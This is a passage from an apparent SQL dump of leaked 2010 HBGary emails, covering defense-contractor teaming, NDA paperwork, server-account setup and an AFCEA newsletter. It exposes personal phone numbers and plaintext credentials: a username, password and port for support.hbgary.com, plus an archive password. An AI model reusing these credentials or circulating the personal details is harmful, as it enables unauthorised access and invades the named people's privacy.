Horton\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\nDirect: 703.956.3037\r\n\r\nCell:&nbsp;&nbsp;&nbsp;&nbsp; 703.969.2382\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com] \r\nSent: Monday, May 17, 2010 2:35 PM\r\nTo: Lemke, Michelle R.; Maria Horton\r\nSubject: RE: small business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle-here&#8217;s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business\r\nEmeSec Incorporated :: 1818\r\nLibrary Street, Suite 500, Reston, Virginia 20190 :: 703.956.3036 \r\n\r\n&nbsp;\r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948 \r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Monday, May 17, 2010 2:06 PM\r\nTo: Finn, Rick L.\r\nSubject: small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned&#8230;.if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1724,'aaron_hbgary_com/1724.html'),(6410,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004604.M463042P14101Q1265.eml','\"Edna Robinson\" <erobinson6@csc.com>','Re: CTSC - Documents - HB Gray','\r\n\r\nHow do these look?\r\n\r\nAaron\r\n\r\nOn May 17, 2010, at 3:47 PM, Edna Robinson wrote:\r\n\r\n> \r\n> Aaron, \r\n> \r\n> Your response is appreciated.  As discussed, the Reps and Sub Questionnaire did not populate \r\n> all of the responses.  Please take a look and let me know if you have questions let me know. \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	05/17/2010 03:02 PM\r\n> Subject:	Re: CTSC - Documents - HB Gray\r\n> \r\n> \r\n> \r\n> \r\n> A bit more delayed. \r\n> \r\n> Here you go. \r\n> \r\n> Aaron \r\n> \r\n> On May 12, 2010, at 5:19 PM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Afternoon Aaron, \r\n> \r\n> As of today I have not received a response regarding the CTSC MOU or additional documents required. \r\n> \r\n> Please provide a status. \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> From:	Edna Robinson/USA/CSC\r\n> To:	Aaron Barr \r\n> Cc:	Paul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n> Date:	05/04/2010 03:14 PM\r\n> Subject:	Re: CTSC - Documents\r\n> \r\n> \r\n> \r\n> \r\n> Good Afternoon Aaron, \r\n> \r\n> Per the discussions that CSC has had regarding the Cyber Technology Services Contract (CTSC) opportunity, attached is a “Draft Memorandum of Understanding” for your review and response.   We value the capabilities and services that you bring and look forward to working together in winning this important work. \r\n> \r\n> \r\n> \r\n> \r\n> In addition to the MOU, the following documents are also required. \r\n> \r\n> \r\n> Please review, update, and return the required documents at your earliest convenience. \r\n> \r\n> If you have any questions, please do not hesitate to ask. \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> From:	Edna Robinson/USA/CSC\r\n> To:	Aaron Barr \r\n> Cc:	Paul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n> Date:	04/26/2010 01:58 PM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> Aaron, \r\n> \r\n> Please find the CTSC NDA full executed. \r\n> \r\n> [attachment \"CTSC Non-Disclosure Agreement. - HB Gray.pdf\" deleted by Edna Robinson/USA/CSC] \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	04/26/2010 11:09 AM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Here you go. \r\n> \r\n> Aaron \r\n> [attachment \"CSC CTSC NDA_0_20100426_1107.pdf\" deleted by Edna Robinson/USA/CSC] \r\n> \r\n> On Apr 21, 2010, at 10:10 AM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Morning Aaron, \r\n> \r\n> Let me know if you can open this one. \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	04/21/2010 09:28 AM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Hi Edna, \r\n> \r\n> Could you resend this document.  I am getting a corruption error.  It might be on my end, I am on a Mac. \r\n> \r\n> Thank you, \r\n> Aaron \r\n> \r\n> On Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Afternoon Mr. Aron, \r\n> \r\n> Please sign an return the attached Non Disclosure agreement at your earliest convenience so that it may be Fully Executed prior to your meeting \r\n> with Paul Rooney. \r\n> \r\n> \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.comEdna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n>  \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n> \r\n> \r\n>  \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16476,'aaron_hbgary_com/16476.html'),(6411,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004604.M850637P14101Q1266.eml','\"Charles Copeland\" <charles@hbgary.com>','Re: In design','Chark,Is that ftp, sftp?AaronOn May 17, 2010, at 2:27 PM, Charles Copeland wrote:Hello Aaron,&nbsp;Greg asked me to set you up a account on the support box. &nbsp;Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com&nbsp;port 59022 &nbsp;let me know if you have any questions.\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don\'t think i have access to that? &nbsp;If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nRich, Aaron,\r\n&nbsp;\r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n&nbsp;\r\ncan all be found in \'ReportTemplatesForBoyz.rar\' in Rich\'s home dir on support.&nbsp; PW is meatflower.\r\n&nbsp;\r\nThere are some additional files for you in this rar:\r\n&nbsp;\r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ\'s report.&nbsp; You want these so you can make your own pie charts as needed.\r\n&nbsp;\r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report. &nbsp;I have thesoftware and 30 day trial license.\r\n\r\nAaron&nbsp;From my iPhone\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13205,'aaron_hbgary_com/13205.html'),(6412,'2010-05-17','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297004607.M531476P14101Q1268.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Monday, May 17, 2010 \r\n								VOLUME 7 ISSUE 8 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								To make the point that the U.S. will not tolerate threats to homeland security, accused Times Square bomber Faisal Shahzad should be:\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  Tried in a U.S. court.&nbsp;Judged in a military tribunal like any other accused saboteur.&nbsp;Deported to Pakistan for trial there.&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Coverage from Joint Warfighting 2010\r\n		Guest Blog: Computers for Shooters \r\n        AFCEA International Contributes to Tennessee Flood Relief \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nAFCEA Bethesda Monthly Breakfast Series Federal Civilian and DoD Networking and Education Breakfast05/20/2010Bethesda North Marriott and Conference Center, Bethesda, MD details ...AFCEA Belvoir May Monthly Luncheon Luncheon, Networking, Belvoir, 05/26/2010Fort Belvoir Officers\' Club, Fort Belvoir, VA details ...ARRA Small Business Symposium ARRA and Small Business06/15/2010Bethesda-North Marriott and Conferece Center, Bethesda, MD, VA details ...AFCEA DC Cyber Symposium07/08/2010Washington , DC details ...GMU/AFCEA SOLUTIONS Series: Critical Issues in C4I05/18/2010 - 05/19/2010George Mason University, Fairfax, VA details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\nAfghanistan App Offers Info Without Internet\r\nTwo U.S. Air Force captains at the Naval Postgraduate School (NPS) have developed a BlackBerry app to assist forces in Afghanistan. MobiAFG, short for mobile Afghanistan, enables warfighters to access the Program for Culture &amp; Conflict Studies (CCS) Web site\'s geographical, cultural and other information about the country. [Read more...]\r\nMove Now to Participate in CWID 2011\r\n  Coalition Warrior Interoperability Demonstration (CWID) 2010 may be right around the corner, but for companies that want to be a part of CWID 2011, now is the time to begin. Organizations should investigate the objectives and requirements described in the document now and ready their solutions to participate. [Read more...]  \r\n\r\n\r\n News Briefs\r\nU.S. Navy Unplugged\r\nThe Navy/Marine Corps Intranet (NMCI) experienced an enterprisewide service disruption earlier this month as a result of a server malfunction on the unclassified network. The malfunction caused outages of unclassified e-mail and Web browsing but did not affect the service&rsquo;s classified networks or cause significant operational impact, according to Rear Adm. Peg Klein, USN, director of operations, Naval Network Warfare Command. While an investigation into the cause of the malfunction is ongoing, nothing indicates that the service interruption was the result of malicious activity. NMCI comprises more than 360,000 computers, serving more than 700,000 Navy members, civilian employees and contractors. \r\nNASA Reconnaissance Aircraft Tapped to Track Oil Spill\r\n  The National Oceanic and Atmospheric Administration (NOAA) has requested the use of NASA&rsquo;s Earth Resources-2 (ER-2) aircraft to track areas impacted by the oil spill in the Gulf of Mexico. The ER-2, a civilian version of the U.S. Air Force&rsquo;s U2-S reconnaissance platform, can scan the coast, measure water levels, profile the atmosphere and assess damage. The aircraft is equipped with a highly specialized scanner called the Airborne Visible/Infrared Imaging Spectrometer, which will provide NOAA with details on the path of the oil spill as it rapidly nears the Gulf Coast. Since the incident began, NASA has utilized satellite instruments to view and evaluate the extent of the damage. \r\nUpgrade Shows Potential for Breakthrough Technology\r\n  A conceptual design approval from the U.S. Department of Energy has moved Argonne National Laboratory a step closer toward its Advanced Photon Source (APS). This project should enable better materials for frontier technology and advances in energy conservation. Already, the source has helped scientists improve battery technologies and create new nanomaterials. The upgrade will make revolutionary improvements to the APS\' performance and will add new X-ray facilities making the existing facilities 10 to 100 times more powerful. It also will enable nearly double the number of experiments carried out each year; the APS currently serves more researchers than any other scientific-user facility in the Western Hemisphere. \r\nNSF to Require Data Management Plans for Funding\r\n  National Science Foundation National Science Board officials announced that beginning in October the foundation will require that all proposals include a data management plan. The changes are designed to address data-driven scientific exploration, which involves researchers from numerous disciplines collaborating to solve complex problems. According to the foundation&rsquo;s acting director, Cora Marrett, this process change is the first step in a more comprehensive approach to data policy and will address the need for data from publicly funded research to be made public. This is a change in the implementation of NSF\'s long-standing policy that requires grantees to share their data within a reasonable length of time, so long as the cost is modest.\r\n\r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\nRobot Navigation System Readies for Prime Time\r\n  A package of sensors, software and navigation equipment will soon permit U.S. Army ground robots, trucks and armored vehicles to move around a battlefield with minimal human supervision. The Autonomous Navigation System (ANS) allows robots to perceive and follow paths and other vehicles.  [Read more...]\r\nCyber Command Moves Into Position\r\n  While they await the U.S. Senate\'s decision about assigning Lt. Gen. Keith B. Alexander, USA, as commander of the U.S. Cyber Command (CYBERCOM), military members of the new sub-unified command are poising their fingers above computer keyboards ready to begin their mission.  [Read more...]\r\n\r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      \r\n      May 2010\r\n      Focus: U.S. Strategic Command \r\n      The U.S. Strategic Command (STRATCOM) has a heritage of protecting the United States throughout the most intense confrontations of the Cold War. Even though the threat of sudden nuclear annihilation has ebbed, STRATCOM must continue to deter attacks from rogue and emerging nuclear powers. And, the command now faces the challenge of the entire range of cyberspace marauders who threaten the military and civilian infosphere. SIGNAL Magazine&rsquo;s May 2010 issue looks at STRATCOM&rsquo;s diverse mission set and how it faces a dynamic future.\r\nFocus: Joint Operations\r\n  Operating jointly has gone beyond mere lip service among the services, but it remains a difficult goal. As missions become more diverse, specialization increases in importance, and smooth interoperability becomes more difficult. Add to that the complexity of emerging information technology systems, and planners have their hands full as they try to ensure that joint operations run smoothly and achieve their desired goals. In its second May focus report, SIGNAL looks at some of the efforts underway to improve joint operations.\r\nEuropean Country Report: Portugal\r\nTucked away next to Spain, Portugal often is overlooked by all but map aficionados. Yet, the steadfast NATO ally is modernizing its military to play an increasingly vital role in alliance operations. SIGNAL&rsquo;s May 2010 European Country Report looks at these efforts from three different perspectives.\r\nRead these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Maritime Security\r\n           The recent spate of pirate attacks off the coast of Africa, including the seizure of the crew of a skiff that dared attack a U.S. Navy frigate near the Seychelles, has increased awareness of the need for maritime security. But other concerns also are driving nations around the world to increase their efforts at securing the high seas. From illegal fishing to terrorism, a range of threats are increasing the global push for better maritime domain awareness. SIGNAL Magazine&rsquo;s June issue looks at the importance of maritime security and the measures being taken to improve it. \r\n         Focus: Federal Laboratories\r\n         The technology of tomorrow is emerging from laboratories today, and the federal government is playing a major role in that endeavor. Federal research and development aims to open up new technologies to exploitation in both the military and the private sector. Some of these efforts are truly exploratory in nature: no one knows where they will lead or what will lie beyond their fulfillment. SIGNAL&rsquo;s second June focus report looks at vastly different research at four federal laboratories and leaves it up to the reader to decide where the research may lead.  \r\n         \r\n         Community \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n			  \r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n \r\n   var _gaq = _gaq || []; \r\n  _gaq.push([\'_setAccount\', \'UA-1095862-1\']); \r\n  _gaq.push([\'_trackPageview\']); \r\n \r\n  (function() { \r\n    var ga = document.createElement(\'script\'); ga.type = \'text/javascript\'; ga.async = true; \r\n    ga.src = (\'https:\' == document.location.protocol ? \'https://ssl\' : \'http://www\') + \'.google-analytics.com/ga.js\'; \r\n    var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s); \r\n  })(); \r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10781,'aaron_hbgary_com/10781.html'),(6413,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004607.M63695P14101Q1267.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EmeSec Small Business','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Harlow, Douglas M.\" \r\n> Date: May 17, 2010 6:52:04 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: FW: EmeSec Small Business\r\n> \r\n> Aaron,\r\n> Do you have anything like the  attached products for HBGary ?\r\n> We’re trying to form our small business plan in real time and want the best team mates – if interested.\r\n> Doug\r\n>  \r\n> From: Lemke, Michelle R. \r\n> Sent: Monday, May 17, 2010 5:27 PM\r\n> To: Harlow, Douglas M.\r\n> Subject: FW: EmeSec Small Business\r\n>  \r\n> Bounce this against your small business.\r\n>  \r\n> Michelle Lemke\r\n> Senior Manager Business Development\r\n> General Dynamics Advanced Information Systems\r\n> BB  703-946-1495\r\n> C 757-286-9239\r\n>  \r\n> From: Bill Lillard [mailto:blillard@emesec.net] \r\n> Sent: Monday, May 17, 2010 4:57 PM\r\n> To: Lemke, Michelle R.\r\n> Cc: Finn, Rick L.; Grayson \"Barney\" Koogle; Maria Horton\r\n> Subject: EmeSec Small Business\r\n>  \r\n> Michelle.  Here are the documents we spoke of earlier.  Please let me know if we can be of help to your effort.  R/Bill\r\n>  \r\n> From: Maria Horton \r\n> Sent: Monday, May 17, 2010 4:34 PM\r\n> To: Lemke, Michelle R.\r\n> Cc: Finn, Rick L.; Bill Lillard; Grayson \"Barney\" Koogle\r\n> Subject: EmeSec Small Business\r\n>  \r\n> Michelle,\r\n> Rick Finn called me to say hello and ask if I would contact you.\r\n>  \r\n> It appears that you are seeking a particular Small Business.  It looks like a bid/last minute need.\r\n> Please provide some information on how we might help.\r\n>  \r\n> I have included VP of Business Development and VP of Operations on this note.\r\n> Maria Horton\r\n>  \r\n> Maria C. Horton, CISSP-ISSMP, IAM\r\n> Direct: 703.956.3037\r\n> Cell:     703.969.2382\r\n>  \r\n> From: Finn, Rick L. [mailto:rick.finn@gd-ais.com] \r\n> Sent: Monday, May 17, 2010 2:35 PM\r\n> To: Lemke, Michelle R.; Maria Horton\r\n> Subject: RE: small business\r\n>  \r\n> Michelle-here’s the company and Maria is on the email.\r\n> \r\n> EmeSec Incorporated :: Information Assurance\r\n> \r\n> Service Disabled Veteran, Woman Owned, 8(a), Small Business EmeSec Incorporated :: 1818 Library Street, Suite 500, Reston, Virginia 20190 :: 703.956.3036\r\n> \r\n>  \r\n> \r\n> Rick Finn, PMP\r\n> Director\r\n> Critical Infrastructure Protection Solutions/DHS Programs\r\n> GENERAL DYNAMICS - AIS\r\n> Work - 703-277-1749\r\n> Cell - 703-597-9613\r\n> BB - 571-218-9948\r\n> \r\n> _____________________________________________\r\n> From: Lemke, Michelle R.\r\n> Sent: Monday, May 17, 2010 2:06 PM\r\n> To: Finn, Rick L.\r\n> Subject: small business\r\n> \r\n> Rick, I need small disadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned….if you have any that fit 2 of the categories that would be even better.\r\n> \r\n> Michelle Lemke\r\n> \r\n> Senior Manager Business Development\r\n> \r\n> General Dynamics Advanced Information Systems\r\n> \r\n> BB  703-946-1495\r\n> \r\n> C 757-286-9239\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2030,'aaron_hbgary_com/2030.html'),(6414,'2010-05-18','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004607.M959845P14101Q1269.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Lemke, Michelle R.\" 